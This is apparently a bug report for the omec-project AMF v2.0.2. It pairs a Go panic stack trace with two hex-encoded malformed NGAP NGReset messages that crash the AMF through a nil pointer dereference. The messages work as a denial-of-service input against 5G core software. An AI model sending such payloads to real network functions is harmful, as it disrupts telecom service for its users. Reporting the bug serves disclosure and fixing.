2026-02-10T00:48:25.092Z INFO ngap/handler.go:774 handle NG Reset {"component": "AMF", "category": "NGAP", "ran_addr": "127.0.0.1:40055"}
panic: runtime error: invalid memory address or nil pointer dereference
[signal SIGSEGV: segmentation violation code=0x1 addr=0x0 pc=0x1388d42]
goroutine 1217 gp=0xc00045d880 m=12 mp=0xc000681808 [running]:
panic({0x1624140?, 0x26d9d20?})
/usr/local/go/src/runtime/panic.go:802 +0x168 fp=0xc000ab5908 sp=0xc000ab5858 pc=0x481128
runtime.panicmem(...)
/usr/local/go/src/runtime/panic.go:262
runtime.sigpanic()
/usr/local/go/src/runtime/signal_unix.go:925 +0x359 fp=0xc000ab5968 sp=0xc000ab5908 pc=0x483ab9
github.com/omec-project/amf/ngap.printAndGetCause(0xc00039a080?, 0x0)
/go/src/amf/ngap/handler.go:4706 +0x22 fp=0xc000ab5a60 sp=0xc000ab5968 pc=0x1388d42
github.com/omec-project/amf/ngap.HandleNGReset(0xc0002cca00, 0x0?)
/go/src/amf/ngap/handler.go:795 +0x44a fp=0xc000ab5ca0 sp=0xc000ab5a60 pc=0x136ae8a
github.com/omec-project/amf/ngap.DispatchNgapMsg({0x1b369a0, 0x2734720}, 0xc0002cca00, 0xc001114340, 0x0)
/go/src/amf/ngap/dispatcher.go:239 +0xaaf fp=0xc000ab5fa8 sp=0xc000ab5ca0 pc=0x13640cf
github.com/omec-project/amf/ngap.Dispatch.gowrap1()
/go/src/amf/ngap/dispatcher.go:169 +0x2e fp=0xc000ab5fe0 sp=0xc000ab5fa8 pc=0x136356e
runtime.goexit({})
/usr/local/go/src/runtime/asm_amd64.s:1693 +0x1 fp=0xc000ab5fe8 sp=0xc000ab5fe0 pc=0x489ca1
created by github.com/omec-project/amf/ngap.Dispatch in goroutine 1157
/go/src/amf/ngap/dispatcher.go:169 +0x5c6
A malformed NGReset message crashes AMF
AMF Version: v2.0.2
Reproduction Step:
Send either of the following NGAP message
00 14 00 30 00 00 01 00 1B 00 05 00 0F 11 00 00 00 52 20 05 81 00 52 41 4E 00 65 00 0D 00 80 00 00 07 00 03 C4 40 00 00 00 08 00 15 20 01 A0 FF FF 20 01 00
or
00 14 00 09 00 00 01 00 0F 40 02 00 C0
AMF Log: